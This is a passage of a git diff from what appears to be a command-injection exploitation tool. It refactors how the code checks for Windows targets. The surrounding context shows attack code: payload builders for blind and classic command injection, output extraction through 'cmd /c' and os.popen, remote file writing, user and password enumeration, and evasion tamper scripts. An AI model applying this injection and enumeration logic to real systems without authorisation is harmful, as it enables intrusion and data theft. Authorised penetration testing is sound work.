vuln_parameter, alter_shell, filename, url_time_response): _ = False cmd = settings.SYS_USERS - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: @@ -253,7 +253,7 @@ def reset(): if menu.options.passwords: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 2615931ce5..3756ebc2cd 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -34,7 +34,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: _ = True from src.core.injections.results_based.techniques.classic import cb_injector whitespace = settings.WHITESPACES[0] @@ -103,7 +103,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--file-upload" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index e8d5f8511a..a7da3ea442 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -245,7 +245,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r randv2 = random.randrange(1, 10) randvcalc = randv1 + randv2 - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index d52e1ff449..01115da147 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -169,7 +169,7 @@ def custom_header_injection_test(url, vuln_parameter, payload): """ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" @@ -248,7 +248,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Proceed with the next (injection) step! if found_chars == True : - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = previous_cmd num_of_chars = output_length + 1 check_start = 0 @@ -354,7 +354,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" @@ -423,7 +423,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese break if found_chars == True : - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = previous_cmd num_of_chars = output_length + 1 check_start = 0 diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 1f4afc44c1..2137b56722 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -25,7 +25,7 @@ Time-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + @@ -85,7 +85,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" if separator == "|" or separator == "||" : pipe = "|" @@ -148,7 +148,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload @@ -157,7 +157,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + @@ -221,7 +221,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + @@ -282,14 +282,14 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload """ Get the execution output, of shell execution. """ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + @@ -359,7 +359,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met __Warning__: The alternative shells are still experimental. """ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" if separator == "|" or separator == "||" : pipe = "|" @@ -420,7 +420,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload @@ -428,7 +428,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http Get the execution output, of shell execution. """ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + @@ -486,7 +486,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me __Warning__: The alternative shells are still experimental. """ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + @@ -544,7 +544,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b12d958545..0ec1a640fe 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -814,7 +814,7 @@ def no_readline_module(): Check for incompatible OS (i.e Unix). """ def ps_incompatible_os(): - if not settings.TARGET_OS == "win": + if not settings.TARGET_OS == settings.OS.WINDOWS: warn_msg = "The identified OS seems incompatible with the provided '--ps-version' switch." print(settings.print_warning_msg(warn_msg)) return True @@ -951,7 +951,7 @@ def check_http_s(url): def user_defined_os(): if menu.options.os: if menu.options.os.lower() == "windows": - settings.TARGET_OS = "win" + settings.TARGET_OS = settings.OS.WINDOWS return True elif menu.options.os.lower() == "unix": return True @@ -1062,7 +1062,7 @@ def enable_all_enumeration_options(): menu.options.hostname = True # Retrieve system information. menu.options.sys_info = True - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: # Check if the current user have admin privileges. menu.options.is_admin = True # Retrieve PowerShell's version number. @@ -1234,9 +1234,9 @@ def tamper_scripts(stored_tamper_scripts): warn_msg = "" if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "The dynamic code evaluation technique does not support the usage of '" + script + ".py' tamper script. Skipping." - elif settings.TARGET_OS == "win" and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: + elif settings.TARGET_OS == settings.OS.WINDOWS and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "Windows targets do not support the usage of '" + script + ".py' tamper script. Skipping." - elif settings.TARGET_OS != "win" and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: + elif settings.TARGET_OS != settings.OS.WINDOWS and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "Unix-like targets do not support the usage of '" + script + ".py' tamper script. Skipping." if len(warn_msg) != 0: print(settings.print_warning_msg(warn_msg)) @@ -1348,7 +1348,7 @@ def whitespace_check(payload): """ def other_symbols(payload): # Check for reversed (characterwise) user-supplied operating system commands. - if payload.count("|rev") >= 1 and settings.TARGET_OS != "win": + if payload.count("|rev") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['rev']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",rev" @@ -1356,7 +1356,7 @@ def other_symbols(payload): menu.options.tamper = "rev" # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. - if payload.count("`") >= 2 and settings.TARGET_OS != "win": + if payload.count("`") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backticks" else: @@ -1372,7 +1372,7 @@ def other_symbols(payload): menu.options.tamper = "caret" # Check for dollar sign followed by an at-sign - if payload.count("$@") >= 10 and settings.TARGET_OS != "win": + if payload.count("$@") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['dollaratsigns']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",dollaratsigns" @@ -1380,7 +1380,7 @@ def other_symbols(payload): menu.options.tamper = "dollaratsigns" # Check for uninitialized variable - if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != "win": + if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['uninitializedvariable']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",uninitializedvariable" @@ -1388,7 +1388,7 @@ def other_symbols(payload): menu.options.tamper = "uninitializedvariable" # Check for environment variable value variable - if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != "win": + if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['slash2env']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",slash2env" @@ -1400,7 +1400,7 @@ def other_symbols(payload): """ def check_backslashes(payload): # Check for single quotes - if payload.count("\\") >= 15 and settings.TARGET_OS != "win": + if payload.count("\\") >= 15 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['backslashes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backslashes" @@ -1412,7 +1412,7 @@ def check_backslashes(payload): """ def check_quotes(payload): # Check for double quotes around of the generated payloads. - if payload.endswith("\"") and settings.TARGET_OS != "win": + if payload.endswith("\"") and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['nested']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",nested" @@ -1420,7 +1420,7 @@ def check_quotes(payload): menu.options.tamper = "nested" # Check for (multiple) added double-quotes between the characters of the generated payloads. - if payload.count("\"") >= 10 and settings.TARGET_OS != "win": + if payload.count("\"") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['doublequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",doublequotes" @@ -1428,7 +1428,7 @@ def check_quotes(payload): menu.options.tamper = "doublequotes" # Check for (multiple) added single-quotes between the characters of the generated payloads. - if payload.count("''") >= 10 and settings.TARGET_OS != "win": + if payload.count("''") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['singlequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",singlequotes" @@ -1439,7 +1439,7 @@ def check_quotes(payload): Recognise the payload. """ def recognise_payload(payload): - if "usleep" in payload and settings.TARGET_OS != "win": + if "usleep" in payload and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['sleep2usleep']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",sleep2usleep" @@ -1916,8 +1916,8 @@ def print_current_user(cu_account, filename, _): """ def print_current_user_privs(shell, filename, _): priv = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): + if (settings.TARGET_OS == settings.OS.WINDOWS and not "Admin" in shell) or \ + (settings.TARGET_OS != settings.OS.WINDOWS and shell != "0"): priv = "False" if settings.VERBOSITY_LEVEL == 0 and _: @@ -1976,7 +1976,7 @@ def os_info_msg(self): print(settings.print_info_msg(info_msg)) def print_users_msg(self): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: info_msg = "Executing the 'net user' command " else: info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " @@ -1997,7 +1997,7 @@ def print_single_os_cmd_msg(self, cmd): """ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell): # Windows users enumeration. - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: try: if sys_users and any(account in sys_users for account in settings.DEFAULT_WIN_USERS): sys_users = "".join(str(p) for p in sys_users).strip() @@ -2252,7 +2252,7 @@ def find_filename(dest_to_write, content): fname = os.path.basename(dest_to_write) tmp_fname = fname + "_tmp" # _ = settings.FILE_WRITE - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: # _ = settings.FILE_WRITE_WIN cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" else: @@ -2289,7 +2289,7 @@ def remove_parenthesis(cmd): """ def write_content(content, dest_to_write): content = quoted_cmd(content) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" else: cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write @@ -2306,7 +2306,7 @@ def delete_tmp(tmp_fname): Check if file exists. """ def check_file(dest_to_upload): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.FILE_LIST_WIN + dest_to_upload.replace("\\","\\\\") else: cmd = settings.FILE_LIST + dest_to_upload @@ -2331,7 +2331,7 @@ def file_content_to_read(): info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_FILE_READ + file_to_read.replace("\\","\\\\") else: if settings.EVAL_BASED_STATE: @@ -2390,7 +2390,7 @@ def check_file_to_write(): with open(file_to_write, 'r') as content_file: content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", settings.SINGLE_WHITESPACE) for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: import base64 content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: @@ -2512,7 +2512,7 @@ def file_upload(): Check for wrong flags """ def check_wrong_flags(): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if menu.options.is_root : warn_msg = "Swithing '--is-root' to '--is-admin' because the " warn_msg += "target has been identified as Windows." @@ -2535,7 +2535,7 @@ def check_wrong_flags(): Define python working dir (for windows targets) """ def define_py_working_dir(): - if settings.TARGET_OS == "win" and menu.options.alter_shell: + if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.alter_shell: while True: message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER message += "' as Python working directory on the target host? [Y/n] > " diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 93aff44a50..671675f952 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -56,7 +56,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ """ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -78,10 +78,10 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur """ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if alter_shell: cmd = "cmd /c " + cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -98,7 +98,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO if settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) @@ -116,7 +116,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP @@ -139,7 +139,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ """ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -161,7 +161,7 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method """ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT @@ -187,7 +187,7 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False cmd = settings.SYS_USERS - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS # cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: @@ -252,7 +252,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == "win": + if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: checks.ps_check() if menu.options.ps_version and settings.PS_ENABLED == None: @@ -287,7 +287,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur settings.ENUMERATION_DONE = True if menu.options.passwords: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 571c998fcd..6cbfee5936 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -34,7 +34,7 @@ """ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) @@ -99,7 +99,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--file-upload" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 83db56226b..9c8d1f330b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -288,7 +288,7 @@ def injection_results(response, TAG, cmd): shell = [backslash.replace("\/","/") for backslash in shell] except UnicodeDecodeError: pass - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if menu.options.alter_shell: shell = [right_space.rstrip() for right_space in shell] shell = [left_space.lstrip() for left_space in shell] diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index b215fedabf..a5e86d6bf3 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -24,7 +24,7 @@ Classic decision payload (check if host is vulnerable). """ def decision(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.SKIP_CALC: payload = (separator + "echo " + TAG + TAG + TAG + settings.CMD_NUL @@ -77,7 +77,7 @@ def decision(separator, TAG, randv1, randv2): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.SKIP_CALC: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "')\"" else: @@ -108,7 +108,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2): Execute shell commands on vulnerable host. """ def cmd_execution(separator, TAG, cmd): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: payload = (separator + cmd + settings.SINGLE_WHITESPACE ) @@ -143,7 +143,7 @@ def cmd_execution(separator, TAG, cmd): __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, TAG, cmd): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: payload = (separator + cmd + settings.SINGLE_WHITESPACE ) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index c4ba704b92..95eed537bc 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -58,7 +58,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ """ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -80,7 +80,7 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur """ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -97,7 +97,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -114,7 +114,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP @@ -138,7 +138,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False cmd = settings.CURRENT_USER - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_CURRENT_USER # cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: @@ -164,7 +164,7 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method """ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN if not alter_shell: cmd = cmd = checks.quoted_cmd(cmd) @@ -190,7 +190,7 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False cmd = settings.EVAL_SYS_USERS - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) @@ -255,7 +255,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == "win": + if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: checks.ps_check() if menu.options.ps_version and settings.PS_ENABLED == None: @@ -290,7 +290,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur settings.ENUMERATION_DONE = True if menu.options.passwords: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index dc72f6183e..3c21330cf4 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -33,7 +33,7 @@ """ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): 